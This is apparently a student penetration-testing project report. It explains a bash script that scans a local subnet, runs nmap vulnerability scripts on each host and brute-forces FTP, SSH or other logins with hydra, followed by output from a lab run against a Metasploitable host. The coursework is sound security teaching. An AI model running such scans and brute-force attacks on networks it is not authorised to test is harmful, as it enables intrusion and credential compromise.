Centre for Cybersecurity Penetration Testing Project: Vulner

Aux-User

S5

CFC020223

Contents

Objective

Purpose:
To map the network and identify potential attack routes

Expected outcome:
- Network should be scanned automatically
- Each host should be scanned for
  i) Open ports
  ii) Services
  iii) Potential vulnerabilities
- Each host should be checked for weak passwords
- Report generated based on the details of the above

Script Flow

Setup
- Functions are declared

User Input for Credentials
- User to provide user list
- User to provide password list or generate one on the spot

Network Scan
- Network scanned for viable hosts

Enumeration
- Each host is scanned for open ports, services, OS and potential vulnerabilities

Password Test
- Each host is brute forced via the first login service detected

Report
- User can view findings for the whole run or zoom in on a specific host

Script Breakdown – Setup – Start

```
#!/bin/bash

#The script will first start with declaring functions and assigning variables.
#It will prompt the user to define some login credentials to be used later.
#Next, it will determine network range and viable hosts.
#Then it will perform a vulnerability scan on and attempt to brute force each machine.
#Lastly, it will allow the user to view the either a main report of all the scans
#or the findings for a particular host.


#These colour codes are for some quality of life enhancements to
#highlight some outputs from the script.
RED='\033[0;31m'
GRN='\033[0;32m'
YLW='\033[0;33m'
BGRN='\033[1;32m'
BCYN='\033[1;36m'
BIRED='\033[1;91m'
BGYLW='\033[43m'
UYLW='\033[4;33m'
CLR='\033[0m'

#Now the various functions will be declared.
#This function is for stopping the script until a key is pressed.
#This is for letting the user take note of certain details before continuing.
function pressany()
{
read -n 1 -r -s -p $'Press any key to continue...\n'
}

```

The beginning of the script will deal with assigning variables and declaring functions as these will be used later in the script.

Coloured text will be used later to highlight certain instructions or details to the user, so they are assigned here.

The first function is one that pauses the running of the script until the user hits a key. This will be used later at points where important information is presented to the user, allowing the user to digest the details before proceeding.

Script Breakdown – Setup – Nmap Scan

```
#This function is for an nmap scan.
#It will enumerate for OS type, open ports and services, as well as run
#vuln category scripts for the detected protocols to determine CVE's.
#It will also start to generate the subreprt for host being scanned.
function nmapvul()
{

echo "SUBREPORT for $TARGETIP" > subrep.txt
echo 'This section will only contain details pertaining to the above host
and may be referenced separately from other subreports and the main report if needed.' >> subrep.txt
echo ' ' >> subrep.txt
    sudo nmap $TARGETIP -script vuln -sV -vv -p 21-30 -O --open -oN nmapvres.txt
#For demonstration purposes, the script will only run on ports 21-30
#A full scan of all ports on the host will use the command below instead.
    #sudo nmap $TARGETIP -script vuln -sV -vv -p- -O --open -oN nmapvres.txt
cat nmapvres.txt | grep ttl > svclist.lst
echo "Here is a summary of the open ports and services for $TARGETIP" >> subrep.txt
cat svclist.lst >> subrep.txt
echo ' ' >> subrep.txt
echo 'Full nmap vulnerability report as follows:' >> subrep.txt
cat nmapvres.txt >> subrep.txt
echo ' ' >> subrep.txt

sudo chmod 777 nmapvres.txt
rm nmapvres.txt
#Some housekeeping for temporary files that are no longer needed.
}
```

The next function deals with the enumeration of the target.

Nmap is run with the following settings

- Vuln category NSE scripts to check for and report known vulnerabilities
- Service detection to determine running services and support the vuln scripts
- OS detection to determine OS type
- Display open ports only
- Output text in normal format for subsequent text manipulation and reporting purposes
- Port range 21 to 30 for demonstration purposes only. For full scan range, use -p- to scan all ports.

At this stage, since the nmap scan is run before the brute force, the script will also start to generate the subreport for this host.

Temporary files that are no longer needed are also removed as part of this function.

Script Breakdown – Setup – Brute Force

```
58
59  #This function is for a Hydra brute force attack on the same host using
60  #user provided credentials that the script will ask for when it starts running.
61  #It will continue to add the results to the host-specific subreport.
62  #Since this is the last action against the host, it will conclude the subreport,
63  #as well as adding the all the findings for the host to the main report.
64  function bfatk()
65  {
66
67  #Popular login services are used for this attack, the presence of which are
68  #determined by the earlier scan and the brute force uses the first availabile service.
69  cat svclist.lst | awk '{print$3}' | grep -E 'ftp|ssh|smtp|smb|telnet|rdp' > svcatk.lst
70  echo "The following popular protocols have been found to be running on $TARGETIP"
71  cat svcatk.lst
72  echo ' '
73  SVTYPE=$(cat svcatk.lst | head -n 1)
74  echo "Using the first protocol available, $SVTYPE, a Brute Force attack will now be made
75  against $TARGETIP with the credentials provided earlier."
76
77      sudo hydra -L $USERHIT -P $PWHIT $TARGETIP $SVTYPE -vV > hydratest.txt
78
79  echo 'Brute Force report as follows:' >> subrep.txt
80  cat hydratest.txt >> subrep.txt
81  echo ' ' >> subrep.txt
82  echo "This concludes the subreport for $TARGETIP" >> subrep.txt
83  echo '_____' >> subrep.txt
84  cat subrep.txt >> mainrep.txt
85  echo ' ' >> mainrep.txt
86  mv subrep.txt  PTrun-$DTST/subrep-$TARGETIP.txt
87
88  rm svclist.lst
89  rm svcatk.lst
90  rm pwrandom$PWMIN$PWMAX.lst 2>/dev/null
91  rm hydratest.txt
92  #Some housekeeping for removing temporary files
93
94  }
```

The next function declared is for testing of weak passwords with a brute force attack.

Hydra will be run with

- User-provided user list
- User-provided or randomly generated password list
- Service type based on the results from the previous nmap scan. If there are more than one, the first service will be selected for the attack
- Output saved for reporting purposes

The brute force is the last action to be taken against the host, hence the subreport for this host will be completed.

This completed subreport will be added on to the main report.

Cleanup of temporary files that are no longer required performed at the end.

Script Breakdown – User Input for Credentials

```
#Now that functions have been defined, this is where the running starts.

echo 'Greetings, User.'
echo 'This script will
1) Identify your network range and scan it for viable hosts
2) Scan each host for vunlerabilities
3) Brute force each host with credentials that you will be prompted for
4) Allow you to view the findings'
echo ' '
pressany
echo ' '
echo -e "Please enter the name of the file you wish to use as a Brute Force ${BGYLW}USER${CLR} list"
read INPUTUSER
USERHIT=$(find / -name $INPUTUSER 2>/dev/null)
#Even if the user does not enter the file path, the file can still be located.
echo -e "You have specified ${UYLW}$USERHIT${CLR} as the Brute Force ${UYLW}user${CLR} list."
echo ' '
echo 'Do you wish to
1) Use an existing password list or
2) Create one now?'
read PWANS
#The user is given the option to provide a list of passwords or make one on the spot.
case $PWANS in

    1)
        echo 'You have opted to use an existing password list.
Please enter the name of the file you wish to use as a Brute Force password list'
        read INPUTPW
        PWHIT=$(find / -name $INPUTPW 2>/dev/null)
        echo -e "You have specified ${UYLW}$PWHIT${CLR} as the Brute Force ${UYLW}password${CLR} list."

    ;;
    2)
        echo 'You have decided to create a new password list.'
        echo -e "${BIRED}!!!WARNING!!!${CLR} This list will be randomly generated."
        echo 'Depending on your input parameters, the resulting list MAY be very long.
Please be mindful of your storage space as well as
the time requirements for the Brute Force attack.'
        echo 'For the purposes of demonstration, the randomly generated
passwords will only conist of a, b and c.'
        echo 'Please enter the minimum password length'
        read PWMIN
        echo 'Please enter the maximum password length'
        read PWMAX
        crunch $PWMIN $PWMAX abc > pwrandom$PWMIN$PWMAX.lst
#For demonstration purposes, only abc will be used to generate the password list.
#For a more comprehensive list using all alphanumeric characters, the below command should be used
#crunch $PWMIN $PWMAX -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space > pwrandom$PWMIN$PWMAX.txt
        PWHIT=pwrandom$PWMIN$PWMAX.lst
        echo -e "Your random password list ${UYLW}$PWHIT${CLR} has been generated and
will be used as the Brute Force ${UYLW}password${CLR} list."

 esac

```

From the user's perspective, this is where the script starts.

It greets the user and gives a breakdown of what will happen when the script is run.

Next it will prompt the user to

- Specify a user list. Even if the list is in a different location from where the script is run and does not provide the file path, the script will still locate it as the find command is run from /
- Specify a password list. Same as the user list, the file can be used from another location.

Alternatively, a password list can be generated on the spot using crunch. The user will be prompted to provide the minimum and maximum password length for crunch to generate the list.

For demonstration purposes, crunch is only run using a, b and c. For a thorough list, crunch should be run using a character list consisting of alphabets, numerals, special characters and spaces.

Script Breakdown – Network Scan

```
150  echo ' '
151  echo 'Thank you for your input.
152  You may choose to wait or return in a few minutes.
153  A series of tones will play to indicate when the report is ready for viewing.'
154  echo ' '
155  pressany
156
157  #Here the network range and number of live hosts are determined.
158  SELFIP=$(ifconfig | grep broadcast | awk '{print$2}')
159  SELFIPRNG=$(ipcalc $SELFIP | grep Network | awk '{print$2}')
160  echo "The IP of your current machine is $SELFIP"
161  echo "Its network range is $SELFIPRNG"
162  echo ' '
163  echo 'Now performing scans for live hosts on network...'
164  #A directory is created based on the date and time of the run.
165  #Main and subreports relevant to this run will be stored here.
166  DTST=$(date +%F-%H%M)
167  mkdir PTrun-$DTST
168  #The main report is created here, capturing the details of the network scan.
169  DTHD=$(date "+%x %R")
170  ATKTIME=$(TZ=Asia/Singapore date)
171  echo "MAIN REPORT FOR VULNERABILITY ASSESSMENT ON $DTHD" > mainrep.txt
172  echo ' ' >> mainrep.txt
173  echo "Network scan started on $ATKTIME" >> mainrep.txt
174  nmap -sn "$SELFIPRNG" -oG nmaptgt.lst
175
176  cat nmaptgt.lst | grep Up | awk '{print$2}' > shortlist.lst
177  #Here the results are cleaned before presented to the user.
178  #The user's own machine and NAT device are removed from the scan results.
179  cat shortlist.lst | grep -v "$SELFIP"| grep -Ewv '([0-9]{1,3}[\.]){3}2' > viable.lst
180
181  echo 'The live hosts on the network are:'
182  cat viable.lst
183  echo ' '
184
185  #The next few lines are for generating the main report.
186  echo 'The live hosts on the network are:' >> mainrep.txt
187  cat viable.lst >> mainrep.txt
188  echo ' ' >> mainrep.txt
189  echo 'The findings for each host will be detailed in their respective subpreports below.' >> mainrep.txt
190  echo 'Each subreport will display:' >> mainrep.txt
191  echo 'A) A summary of open ports and their respective services' >> mainrep.txt
192  echo 'B) Full results of an nmap vulnerability scan' >> mainrep.txt
193  echo 'C) Full results of a hydra brute force attack' >> mainrep.txt
194  echo ' ' >> mainrep.txt
195  echo ' '
196  echo -e "${GRN}Network scan complete${CLR}"
197  echo 'Assessing hosts for vulnerabilities and weak passwords...'
198  echo ' '
199
```

After the user has provided the credentials for the brute force, the script will let the user know that there will be some sounds played to notify the user when everything is finished.

Using text manipulation together ifconfig and ipcalc, the network range is identified and scanned using nmap on “no port scan” setting for host discovery.

The output is then cleaned to remove the IP address of the user’s machine and in the case of this demonstration, the NAT device.

It is also at this juncture that the creation of the main report begins. A directory is created with the date and time stamp of the run. The main report and all subreports for the run will be saved there.

Script Breakdown – Enumeration & PW Test

```
200 #Here the functions for the nmap scan and hydra brute force will be called
201 #for each viable machine in the network scan.
202 for TARGETIP in $(cat viable.lst)
203     do
204         nmapvul
205
206         bfatk
207
208     done
209
210 echo '------<<<|This Concludes the Main Report|>>>------' >> mainrep.txt
211 mv mainrep.txt PTrun-$DTST/mainrep-$DTST.txt
212 rm nmaptgt.lst
213 rm shortlist.lst
214 #Main report for this run concluded and more housekeeping for temporary files.
215 #A series of tones will play to alert the user that the run is complete
216 #and report available for viewing
217 paplay /usr/share/sounds/freedesktop/stereo/alarm-clock-elapsed.oga
218 paplay /usr/share/sounds/sound-icons/prompt.wav
219 paplay /usr/share/sounds/speech-dispatcher/test.wav
220 echo ' '
```

After the network has been scanned and a list of viable hosts generated, each host will be subjected to vulnerability scans and a password test.

This is done using a for loop that calls on the previously declared nmap and hydra functions.

Once the loop has run through all the hosts on the list, the main report is concluded and saved.

More housekeeping is done to remove temporary files that were created in the running of the script and a series of sound files are played to let the user know that the run has finished.

Script Breakdown – Report Viewing

```
221  echo -e "${BGRN}Assessment Complete${CLR}"
222  echo 'Thank you for your patience'
223  echo -e "Findings have been consolidated and saved in ${BCYN}./PTrun-$DTST${CLR}"
224  echo 'Please press
225  1)  To view the main report.
226      This contains the findings of the entire run, from network scanning to
227      the findings of each machine.
228  2)  To view the details of actions taken against a specific machine.
229      This will display the findings of one machine only.'
230  read REPANS
231  #The user may choose to view the main report which contains all the details
232  #of the run or focus on the findings of a specific host via that host's subreport
233  case $REPANS in
234
235      1) echo 'Directing you to main report...'
236         pressany
237         cat PTrun-$DTST/mainrep-$DTST.txt
238
239      ;;
240      2) echo 'Please key in the IP address of the subreport you wish to view'
241         echo 'To refresh your memory, the scanned hosts are:'
242         cat viable.lst
243         read SUBCHOICE
244         echo "Directing you to subreport for $SUBCHOICE..."
245         pressany
246         cat PTrun-$DTST/subrep-$SUBCHOICE.txt
247
248  esac
249
250  rm viable.lst
251  #Last bit of housekeeping
```

Now the user is given the option to view either the main report for all the findings of the run, or a specific subreport for a particular host.

The main report contains

- Date and time of the network scan
- Results of host discovery
- All subreports for all hosts discovered

Each subreport contains

- A summary of open ports and services on that host
- Full results of nmap vulnerability scan
- Full results of hydra brute force password test

The last bit of housekeeping is done before the script ends.

forcerecon.sh

```
└─$ bash forcerecon.sh
Greetings, User.
This script will
1) Identify your network range and scan it for viable hosts
2) Scan each host for vunlerabilities
3) Brute force each host with credentials that you will be prompted for
4) Allow you to view the findings

Press any key to continue ...

Please enter the name of the file you wish to use as a Brute Force USER list
pilotroster.lst
You have specified /home/kali/cfc0202/pt/ptproj/pilotroster.lst as the Brute Force user list.

Do you wish to
1) Use an existing password list or
2) Create one now?
1
You have opted to use an existing password list.
Please enter the name of the file you wish to use as a Brute Force password list
pilotauth.lst
You have specified /home/kali/cfc0202/pt/ptproj/projlvl2/pilotauth.lst as the Brute Force password list.

Thank you for your input.
You may choose to wait or return in a few minutes.
A series of tones will play to indicate when the report is ready for viewing.

Press any key to continue ...
```

Script starting, letting user know what will happen and prompting for user and password list.

“User” has been capitalised and highlighted so that user does not specify the wrong list.

Note that both user and password list from different locations were successfully located with just their file name.

forcerecon.sh

```
Please enter the name of the file you wish to use as a Brute Force USER list
pilotroster.lst
You have specified /home/kali/cfc0202/pt/ptproj/pilotroster.lst as the Brute Force user list.

Do you wish to
1) Use an existing password list or
2) Create one now?
2
You have decided to create a new password list.
!!!WARNING!!! This list will be randomly generated.
Depending on your input parameters, the resulting list MAY be very long.
Please be mindful of your storage space as well as
the time requirements for the Brute Force attack.
For the purposes of demonstration, the randomly generated
passwords will only conist of a, b and c.
Please enter the minimum password length
1
Please enter the maximum password length
2
Crunch will now generate the following amount of data: 33 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 12
Your random password list pwrandom12.lst has been generated and
will be used as the Brute Force password list.

Thank you for your input.
You may choose to wait or return in a few minutes.
A series of tones will play to indicate when the report is ready for viewing.

Press any key to continue ...
```

ALTERNATE:
Selecting random pw generation

Choosing this option will prompt the user to input minimum and maximum password length.

It also warns the user that this option may generate a very long and list and is potentially resource intensive.

forcerecon.sh

```
Press any key to continue ...
The IP of your current machine is 192.168.137.128
Its network range is 192.168.137.0/24

Now performing scans for live hosts on network ...
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-30 16:23 +08
Nmap scan report for 192.168.137.2
Host is up (0.0031s latency).
Nmap scan report for 192.168.137.128
Host is up (0.00022s latency).
Nmap scan report for 192.168.137.129
Host is up (0.0017s latency).
Nmap scan report for Tango1 (192.168.137.133)
Host is up (0.0092s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.60 seconds
The live hosts on the network are:
192.168.137.129
192.168.137.133


Network scan complete
Assessing hosts for vulnerabilities and weak passwords ...

[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-30 16:23 +08
NSE: Loaded 149 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 16:23
Completed NSE at 16:23, 10.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 16:23
Completed NSE at 16:23, 0.00s elapsed
Initiating ARP Ping Scan at 16:23
```

After providing credentials, the script runs for network mapping and host discovery.

After which it will begin the nmap scan for the first host, in this case 192.168.137.129

forcerecon.sh

```
Initiating ARP Ping Scan at 16:23
Scanning 192.168.137.129 [1 port]
Completed ARP Ping Scan at 16:23, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:23
Completed Parallel DNS resolution of 1 host. at 16:23, 0.03s elapsed
Initiating SYN Stealth Scan at 16:23
Scanning 192.168.137.129 [10 ports]
Discovered open port 21/tcp on 192.168.137.129
Discovered open port 22/tcp on 192.168.137.129
Completed SYN Stealth Scan at 16:23, 0.04s elapsed (10 total ports)
Initiating Service scan at 16:23
Scanning 2 services on 192.168.137.129
Completed Service scan at 16:23, 0.03s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.137.129
NSE: Script scanning 192.168.137.129.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 16:23
Completed NSE at 16:23, 3.54s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 16:23
Completed NSE at 16:23, 0.02s elapsed
Nmap scan report for 192.168.137.129
Host is up, received arp-response (0.00071s latency).
Scanned at 2023-07-30 16:23:40 +08 for 5s
Not shown: 8 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 64 vsftpd 3.0.5
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
MAC Address: 00:0C:29:74:2D:E3 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
TCP/IP fingerprint:
```

```
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=7/30%OT=21%CT=23%CU=38715%PV=Y%DS=1%DC=D%G=Y%M=000C29%
OS:TM=64C61E11%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10E%TI=Z%CI=Z%II=
OS:I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%
OS:O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W
OS:6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD
OS:=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0
OS:%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1
OS:(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=40%CD=S)

Uptime guess: 26.978 days (since Mon Jul  3 16:55:18 2023)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 16:23
Completed NSE at 16:23, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 16:23
Completed NSE at 16:23, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.59 seconds
           Raw packets sent: 33 (2.246KB) | Rcvd: 25 (1.686KB)
The following popular protocols have been found to be running on 192.168.137.129
ftp
ssh
```

Nmap run for the first host

forcerecon.sh

```
Using the first protocol available, ftp, a Brute Force attack will now be made
against 192.168.137.129 with the credentials provided earlier.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-30 16:24 +08
NSE: Loaded 149 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 10.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
Initiating ARP Ping Scan at 16:24
Scanning 192.168.137.133 [1 port]
Completed ARP Ping Scan at 16:24, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:24
Scanning Tango1 (192.168.137.133) [10 ports]
Discovered open port 21/tcp on 192.168.137.133
Discovered open port 23/tcp on 192.168.137.133
Discovered open port 22/tcp on 192.168.137.133
Discovered open port 25/tcp on 192.168.137.133
Completed SYN Stealth Scan at 16:24, 0.05s elapsed (10 total ports)
Initiating Service scan at 16:24
Scanning 4 services on Tango1 (192.168.137.133)
Completed Service scan at 16:24, 0.09s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against Tango1 (192.168.137.133)
NSE: Script scanning 192.168.137.133.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 3.21s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 1.52s elapsed
Nmap scan report for Tango1 (192.168.137.133)
Host is up, received arp-response (0.00059s latency).
```

After nmap, hydra will brute force 192.168.137.129

Once that is done, it will begin the nmap scan for the second host, in this case 192.168.137.133

forcerecon.sh

```
Host is up, received arp-response (0.00059s latency).
Scanned at 2023-07-30 16:24:13 +08 for 6s
Not shown: 6 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 64 vsftpd 2.3.4
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  BID:48539  CVE:CVE-2011-2523
|       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|     Disclosure date: 2011-07-03
|     Exploit results:
|       Shell command: id
|       Results: uid=0(root) gid=0(root)
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|       http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|       https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|_      https://www.securityfocus.com/bid/48539
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:4.7p1:
|       SECURITYVULNS:VULN:8166 7.5     https://vulners.com/securityvulns/SECURITYVULNS:VULN:8166
|       CVE-2010-4478   7.5     https://vulners.com/cve/CVE-2010-4478
|       CVE-2008-1657   6.5     https://vulners.com/cve/CVE-2008-1657
|       SSV:60656       5.0     https://vulners.com/seebug/SSV:60656    *EXPLOIT*
|       CVE-2010-5107   5.0     https://vulners.com/cve/CVE-2010-5107
|       CVE-2012-0814   3.5     https://vulners.com/cve/CVE-2012-0814
|       CVE-2011-5000   3.5     https://vulners.com/cve/CVE-2011-5000
|       CVE-2008-5161   2.6     https://vulners.com/cve/CVE-2008-5161
|       CVE-2011-4327   2.1     https://vulners.com/cve/CVE-2011-4327
|       CVE-2008-3259   1.2     https://vulners.com/cve/CVE-2008-3259
|_      SECURITYVULNS:VULN:9455 0.0     https://vulners.com/securityvulns/SECURITYVULNS:VULN:9455
```

```
23/tcp open  telnet  syn-ack ttl 64 Linux telnetd
25/tcp open  smtp    syn-ack ttl 64 Postfix smtpd
|_sslv2-drown: ERROR: Script execution failed (use -d to debug)
| smtp-vuln-cve2010-4344:
|_  The SMTP server is not Exim: NOT VULNERABLE
| ssl-poodle:
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  BID:70574  CVE:CVE-2014-3566
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://www.securityfocus.com/bid/70574
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|_      https://www.imperialviolet.org/2014/10/14/poodle.html
| ssl-dh-params:
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use anonymous
|       Diffie-Hellman key exchange only provide protection against passive
|       eavesdropping, and are vulnerable to active man-in-the-middle attacks
|       which could completely compromise the confidentiality and integrity
|       of any data exchanged over the resulting session.
|     Check results:
|       ANONYMOUS DH GROUP 1
```

Nmap run for second host

forcerecon.sh

```
|_      https://weakdh.org
MAC Address: 00:0C:29:13:BC:7C (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=7/30%OT=21%CT=24%CU=37600%PV=Y%DS=1%DC=D%G=Y%M=000C29%
OS:TM=64C61E34%P=x86_64-pc-linux-gnu)SEQ(SP=CA%GCD=1%ISR=CC%TI=Z%CI=Z%II=I%
OS:TS=7)OPS(O1=M5B4ST11NW5%O2=M5B4ST11NW5%O3=M5B4NNT11NW5%O4=M5B4ST11NW5%O5
OS:=M5B4ST11NW5%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=
OS:16A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW5%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M5B4ST1
OS:1NW5%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=4
OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=16
OS:4%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 0.001 days (since Sun Jul 30 16:22:29 2023)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=202 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.61 seconds
```

Nmap run for second host

```
Nmap done: 1 IP address (1 host up) scanned in 17.61 seconds
           Raw packets sent: 30 (2.066KB) | Rcvd: 26 (1.754KB)
The following popular protocols have been found to be running on 192.168.137.133
ftp
ssh
telnet
smtp

Using the first protocol available, ftp, a Brute Force attack will now be made
against 192.168.137.133 with the credentials provided earlier.

Assessment Complete
Thank you for your patience
Findings have been consolidated and saved in ./PTrun-2023-07-30-1623
Please press
1)      To view the main report.
        This contains the findings of the entire run, from network scanning to
        the findings of each machine.
2)      To view the details of actions taken against a specific machine.
        This will display the findings of one machine only.
```

After nmap, hydra attacks second host.
After last host has been tested, a series of tones will be played to let the user know that the run has finished. There is no text output to screenshot and document this.
The user is also informed where results are saved and given option to view all results or results of one host.

forcerecon.sh

```
Assessment Complete
Thank you for your patience
Findings have been consolidated and saved in ./PTrun-2023-07-30-1623
Please press
1)      To view the main report.
        This contains the findings of the entire run, from network scanning to
        the findings of each machine.
2)      To view the details of actions taken against a specific machine.
        This will display the findings of one machine only.
1
Directing you to main report  ...
Press any key to continue ...
MAIN REPORT FOR VULNERABILITY ASSESSMENT ON 07/30/2023 16:23

Network scan started on Sun Jul 30 04:23:07 PM +08 2023
The live hosts on the network are:
192.168.137.129
192.168.137.133

The findings for each host will be detailed in their respective subpreports below.
Each subreport will display:
A) A summary of open ports and their respective services
B) Full results of an nmap vulnerability scan
C) Full results of a hydra brute force attack

SUBREPORT for 192.168.137.129
This section will only contain details pertaining to the above host
and may be referenced separately from other subreports and the main report if needed.

Here is a summary of the open ports and services for 192.168.137.129
21/tcp open  ftp     syn-ack ttl 64 vsftpd 3.0.5
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)

Full nmap vulnerability report as follows:
```

Selecting to view main report will show

- Main report header
- Network scan details
- Hosts discovered
- Description of subreport structure

Followed by the contents of subreport for the first host

- Subreport header
- Highlighting that subreport pertains to that host only
- Summary of open ports and services
- Full nmap report containing time of scan, OS version, open ports and services and potential vulnerabilities for detected services
- Full hydra report containing time of scan and the results of the various combinations used in the brute force attack

forcerecon.sh

```
Full nmap vulnerability report as follows:
# Nmap 7.93 scan initiated Sun Jul 30 16:23:29 2023 as: nmap -script vuln -sV -vv -p 21-30 -O --open -oN nmapvres.txt 192.168.137.129
Nmap scan report for 192.168.137.129
Host is up, received arp-response (0.00071s latency).
Scanned at 2023-07-30 16:23:40 +08 for 5s
Not shown: 8 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 64 vsftpd 3.0.5
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
MAC Address: 00:0C:29:74:2D:E3 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
TCP/IP fingerprint:
